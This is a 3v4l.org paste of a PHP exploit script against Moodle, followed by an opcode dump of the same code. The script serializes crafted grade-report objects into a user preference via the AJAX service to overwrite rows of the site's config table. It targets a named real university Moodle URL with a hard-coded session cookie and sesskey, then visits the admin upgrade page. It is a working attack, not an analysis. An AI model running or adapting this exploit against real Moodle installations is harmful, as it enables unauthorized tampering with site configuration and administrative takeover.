3v4l.org

run code in 300+ PHP versions simultaneously
<?php namespace { class gradereport_singleviewlocaluifeedback{ } } namespace { class gradereport_overview_external{ } class grade_item{ } class grade_grade{ } function httpPost($url, $data, $MoodleSession, $json) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); if($json){ array_push($headers, 'Content-Type: application/json'); }else{ $data = urldecode(http_build_query($data)); } curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); var_dump($response); curl_close($curl); return $response; } function httpGet($url, $MoodleSession) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); echo $response; curl_close($curl); return $response; } function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){ $base = new gradereport_overview_external(); $fb = new gradereport_singleviewlocaluifeedback(); $fb -> grade = new grade_grade(); $fb -> grade -> grade_item = new grade_item(); $fb -> grade -> grade_item -> calculation = "[[somestring"; $fb -> grade -> grade_item -> calculation_normalized = false; $fb -> grade -> grade_item -> table = $table; $fb -> grade -> grade_item -> id = $rowId; $fb -> grade -> grade_item -> $column = $value; $fb -> grade -> grade_item -> required_fields = array($column,'id'); $arr = array(array($base),$fb); $value = serialize($arr); $data = array('sesskey' => $sesskey, 'sortorder[]' => 0); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); $data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value)))))); httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1); httpGet($url.'/my/', $MoodleSession); } $url = 'http://moodlep.ucv.edu.br/moodle'; $MoodleSession = 'd9a6e039df23e68c076f83ff03e82699'; $sesskey = 'm2nzhNdJTn'; $table = "config"; $rowId = 25; $column = 'value'; $value = 3848; update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value); $rowId = 375; update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time())); $data = array('sesskey' => $sesskey, 'sortorder[]' => 1); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); var_dump($data); httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession); echo 'OK'; }
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/QFYXU
function name:  (null)
number of ops:  51
compiled vars:  !0 = $url, !1 = $MoodleSession, !2 = $sesskey, !3 = $table, !4 = $rowId, !5 = $column, !6 = $value, !7 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   78     0  E >   ASSIGN                                                   !0, 'http%3A%2F%2Fmoodlep.ucv.edu.br%2Fmoodle'
   79     1        ASSIGN                                                   !1, 'd9a6e039df23e68c076f83ff03e82699'
   80     2        ASSIGN                                                   !2, 'm2nzhNdJTn'
   82     3        ASSIGN                                                   !3, 'config'
   83     4        ASSIGN                                                   !4, 25
   84     5        ASSIGN                                                   !5, 'value'
   85     6        ASSIGN                                                   !6, 3848
   87     7        INIT_FCALL                                               'update_table'
          8        SEND_VAR                                                 !0
          9        SEND_VAR                                                 !1
         10        SEND_VAR                                                 !2
         11        SEND_VAR                                                 !3
         12        SEND_VAR                                                 !4
         13        SEND_VAR                                                 !5
         14        SEND_VAR                                                 !6
         15        DO_FCALL                                      0          
   89    16        ASSIGN                                                   !4, 375
   90    17        INIT_FCALL                                               'update_table'
         18        SEND_VAR                                                 !0
         19        SEND_VAR                                                 !1
         20        SEND_VAR                                                 !2
         21        SEND_VAR                                                 !3
         22        SEND_VAR                                                 !4
         23        SEND_VAR                                                 !5
         24        INIT_FCALL                                               'sha1'
         25        INIT_FCALL                                               'time'
         26        DO_ICALL                                         $17     
         27        SEND_VAR                                                 $17
         28        DO_ICALL                                         $18     
         29        SEND_VAR                                                 $18
         30        DO_FCALL                                      0          
   92    31        INIT_ARRAY                                       ~20     !2, 'sesskey'
         32        ADD_ARRAY_ELEMENT                                ~20     1, 'sortorder%5B%5D'
         33        ASSIGN                                                   !7, ~20
   93    34        INIT_FCALL                                               'httppost'
         35        CONCAT                                           ~22     !0, '%2Fblocks%2Fcourse_overview%2Fsave.php'
         36        SEND_VAL                                                 ~22
         37        SEND_VAR                                                 !7
         38        SEND_VAR                                                 !1
         39        SEND_VAL                                                 0
         40        DO_FCALL                                      0          
   95    41        INIT_FCALL                                               'var_dump'
         42        SEND_VAR                                                 !7
         43        DO_ICALL                                                 
   97    44        INIT_FCALL                                               'httpget'
         45        CONCAT                                           ~25     !0, '%2Fadmin%2Findex.php%3Fcache%3D0%26confirmplugincheck%3D1'
         46        SEND_VAL                                                 ~25
         47        SEND_VAR                                                 !1
         48        DO_FCALL                                      0          
   99    49        ECHO                                                     'OK'
  101    50      > RETURN                                                   1

Function httppost:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 12, Position 2 = 17
Branch analysis from position: 12
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 17
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/QFYXU
function name:  httpPost
number of ops:  60
compiled vars:  !0 = $url, !1 = $data, !2 = $MoodleSession, !3 = $json, !4 = $curl, !5 = $headers, !6 = $response
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   17     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
          3        RECV                                             !3      
   19     4        INIT_FCALL_BY_NAME                                       'curl_init'
          5        SEND_VAR_EX                                              !0
          6        DO_FCALL                                      0  $7      
          7        ASSIGN                                                   !4, $7
   20     8        CONCAT                                           ~9      'Cookie%3A+MoodleSession%3D', !2
          9        INIT_ARRAY                                       ~10     ~9
         10        ASSIGN                                                   !5, ~10
   21    11      > JMPZ                                                     !3, ->17
   22    12    >   INIT_FCALL                                               'array_push'
         13        SEND_REF                                                 !5
         14        SEND_VAL                                                 'Content-Type%3A+application%2Fjson'
         15        DO_ICALL                                                 
   21    16      > JMP                                                      ->24
   24    17    >   INIT_FCALL                                               'urldecode'
         18        INIT_FCALL                                               'http_build_query'
         19        SEND_VAR                                                 !1
         20        DO_ICALL                                         $13     
         21        SEND_VAR                                                 $13
         22        DO_ICALL                                         $14     
         23        ASSIGN                                                   !1, $14
   26    24    >   INIT_FCALL_BY_NAME                                       'curl_setopt'
         25        SEND_VAR_EX                                              !4
         26        FETCH_CONSTANT                                   ~16     'CURLOPT_POST'
         27        SEND_VAL_EX                                              ~16
         28        SEND_VAL_EX                                              <true>
         29        DO_FCALL                                      0          
   27    30        INIT_FCALL_BY_NAME                                       'curl_setopt'
         31        SEND_VAR_EX                                              !4
         32        FETCH_CONSTANT                                   ~18     'CURLOPT_HTTPHEADER'
         33        SEND_VAL_EX                                              ~18
         34        SEND_VAR_EX                                              !5
         35        DO_FCALL                                      0          
   28    36        INIT_FCALL_BY_NAME                                       'curl_setopt'
         37        SEND_VAR_EX                                              !4
         38        FETCH_CONSTANT                                   ~20     'CURLOPT_POSTFIELDS'
         39        SEND_VAL_EX                                              ~20
         40        SEND_VAR_EX                                              !1
         41        DO_FCALL                                      0          
   29    42        INIT_FCALL_BY_NAME                                       'curl_setopt'
         43        SEND_VAR_EX                                              !4
         44        FETCH_CONSTANT                                   ~22     'CURLOPT_RETURNTRANSFER'
         45        SEND_VAL_EX                                              ~22
         46        SEND_VAL_EX                                              <true>
         47        DO_FCALL                                      0          
   30    48        INIT_FCALL_BY_NAME                                       'curl_exec'
         49        SEND_VAR_EX                                              !4
         50        DO_FCALL                                      0  $24     
         51        ASSIGN                                                   !6, $24
   32    52        INIT_FCALL                                               'var_dump'
         53        SEND_VAR                                                 !6
         54        DO_ICALL                                                 
   34    55        INIT_FCALL_BY_NAME                                       'curl_close'
         56        SEND_VAR_EX                                              !4
         57        DO_FCALL                                      0          
   35    58      > RETURN                                                   !6
   36    59*     > RETURN                                                   null

End of function httppost

Function httpget:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/QFYXU
function name:  httpGet
number of ops:  31
compiled vars:  !0 = $url, !1 = $MoodleSession, !2 = $curl, !3 = $headers, !4 = $response
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   38     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   40     2        INIT_FCALL_BY_NAME                                       'curl_init'
          3        SEND_VAR_EX                                              !0
          4        DO_FCALL                                      0  $5      
          5        ASSIGN                                                   !2, $5
   41     6        CONCAT                                           ~7      'Cookie%3A+MoodleSession%3D', !1
          7        INIT_ARRAY                                       ~8      ~7
          8        ASSIGN                                                   !3, ~8
   42     9        INIT_FCALL_BY_NAME                                       'curl_setopt'
         10        SEND_VAR_EX                                              !2
         11        FETCH_CONSTANT                                   ~10     'CURLOPT_HTTPHEADER'
         12        SEND_VAL_EX                                              ~10
         13        SEND_VAR_EX                                              !3
         14        DO_FCALL                                      0          
   43    15        INIT_FCALL_BY_NAME                                       'curl_setopt'
         16        SEND_VAR_EX                                              !2
         17        FETCH_CONSTANT                                   ~12     'CURLOPT_RETURNTRANSFER'
         18        SEND_VAL_EX                                              ~12
         19        SEND_VAL_EX                                              <true>
         20        DO_FCALL                                      0          
   44    21        INIT_FCALL_BY_NAME                                       'curl_exec'
         22        SEND_VAR_EX                                              !2
         23        DO_FCALL                                      0  $14     
         24        ASSIGN                                                   !4, $14
   45    25        ECHO                                                     !4
   46    26        INIT_FCALL_BY_NAME                                       'curl_close'
         27        SEND_VAR_EX                                              !2
         28        DO_FCALL                                      0          
   47    29      > RETURN                                                   !4
   48    30*     > RETURN                                                   null

End of function httpget

Function update_table:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/QFYXU
function name:  update_table
number of ops:  92
compiled vars:  !0 = $url, !1 = $MoodleSession, !2 = $sesskey, !3 = $table, !4 = $rowId, !5 = $column, !6 = $value, !7 = $base, !8 = $fb, !9 = $arr, !10 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   50     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
          3        RECV                                             !3      
          4        RECV                                             !4      
          5        RECV                                             !5      
          6        RECV                                             !6      
   51     7        NEW                                              $11     'gradereport_overview_external'
          8        DO_FCALL                                      0          
          9        ASSIGN                                                   !7, $11
   53    10        NEW                                              $14     'gradereport_singleviewlocaluifeedback'
         11        DO_FCALL                                      0          
         12        ASSIGN                                                   !8, $14
   55    13        NEW                                              $18     'grade_grade'
         14        DO_FCALL                                      0          
         15        ASSIGN_OBJ                                               !8, 'grade'
         16        OP_DATA                                                  $18
   56    17        NEW                                              $22     'grade_item'
         18        DO_FCALL                                      0          
         19        FETCH_OBJ_W                                      $20     !8, 'grade'
         20        ASSIGN_OBJ                                               $20, 'grade_item'
         21        OP_DATA                                                  $22
   57    22        FETCH_OBJ_W                                      $24     !8, 'grade'
         23        FETCH_OBJ_W                                      $25     $24, 'grade_item'
         24        ASSIGN_OBJ                                               $25, 'calculation'
         25        OP_DATA                                                  '%5B%5Bsomestring'
   58    26        FETCH_OBJ_W                                      $27     !8, 'grade'
         27        FETCH_OBJ_W                                      $28     $27, 'grade_item'
         28        ASSIGN_OBJ                                               $28, 'calculation_normalized'
         29        OP_DATA                                                  <false>
   60    30        FETCH_OBJ_W                                      $30     !8, 'grade'
         31        FETCH_OBJ_W                                      $31     $30, 'grade_item'
         32        ASSIGN_OBJ                                               $31, 'table'
         33        OP_DATA                                                  !3
   61    34        FETCH_OBJ_W                                      $33     !8, 'grade'
         35        FETCH_OBJ_W                                      $34     $33, 'grade_item'
         36        ASSIGN_OBJ                                               $34, 'id'
         37        OP_DATA                                                  !4
   62    38        FETCH_OBJ_W                                      $36     !8, 'grade'
         39        FETCH_OBJ_W                                      $37     $36, 'grade_item'
         40        ASSIGN_OBJ                                               $37, !5
         41        OP_DATA                                                  !6
   63    42        INIT_ARRAY                                       ~42     !5
         43        ADD_ARRAY_ELEMENT                                ~42     'id'
         44        FETCH_OBJ_W                                      $39     !8, 'grade'
         45        FETCH_OBJ_W                                      $40     $39, 'grade_item'
         46        ASSIGN_OBJ                                               $40, 'required_fields'
         47        OP_DATA                                                  ~42
   65    48        INIT_ARRAY                                       ~43     !7
         49        INIT_ARRAY                                       ~44     ~43
         50        ADD_ARRAY_ELEMENT                                ~44     !8
         51        ASSIGN                                                   !9, ~44
   67    52        INIT_FCALL                                               'serialize'
         53        SEND_VAR                                                 !9
         54        DO_ICALL                                         $46     
         55        ASSIGN                                                   !6, $46
   69    56        INIT_ARRAY                                       ~48     !2, 'sesskey'
         57        ADD_ARRAY_ELEMENT                                ~48     0, 'sortorder%5B%5D'
         58        ASSIGN                                                   !10, ~48
   70    59        INIT_FCALL                                               'httppost'
         60        CONCAT                                           ~50     !0, '%2Fblocks%2Fcourse_overview%2Fsave.php'
         61        SEND_VAL                                                 ~50
         62        SEND_VAR                                                 !10
         63        SEND_VAR                                                 !1
         64        SEND_VAL                                                 0
         65        DO_FCALL                                      0          
   72    66        INIT_FCALL                                               'json_encode'
         67        INIT_ARRAY                                       ~52     0, 'index'
         68        ADD_ARRAY_ELEMENT                                ~52     'core_user_update_user_preferences', 'methodname'
         69        INIT_ARRAY                                       ~53     'course_overview_course_order', 'type'
         70        ADD_ARRAY_ELEMENT                                ~53     !6, 'value'
         71        INIT_ARRAY                                       ~54     ~53
         72        INIT_ARRAY                                       ~55     ~54, 'preferences'
         73        ADD_ARRAY_ELEMENT                                ~52     ~55, 'args'
         74        INIT_ARRAY                                       ~56     ~52
         75        SEND_VAL                                                 ~56
         76        DO_ICALL                                         $57     
         77        ASSIGN                                                   !10, $57
   73    78        INIT_FCALL                                               'httppost'
         79        CONCAT                                           ~59     !0, '%2Flib%2Fajax%2Fservice.php%3Fsesskey%3D'
         80        CONCAT                                           ~60     ~59, !2
         81        SEND_VAL                                                 ~60
         82        SEND_VAR                                                 !10
         83        SEND_VAR                                                 !1
         84        SEND_VAL                                                 1
         85        DO_FCALL                                      0          
   75    86        INIT_FCALL                                               'httpget'
         87        CONCAT                                           ~62     !0, '%2Fmy%2F'
         88        SEND_VAL                                                 ~62
         89        SEND_VAR                                                 !1
         90        DO_FCALL                                      0          
   76    91      > RETURN                                                   null

End of function update_table

Class gradereport_singleviewlocaluifeedback: [no user functions]
Class gradereport_overview_external: [no user functions]
Class grade_item: [no user functions]
Class grade_grade: [no user functions]

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
178.03 ms | 1041 KiB | 28 Q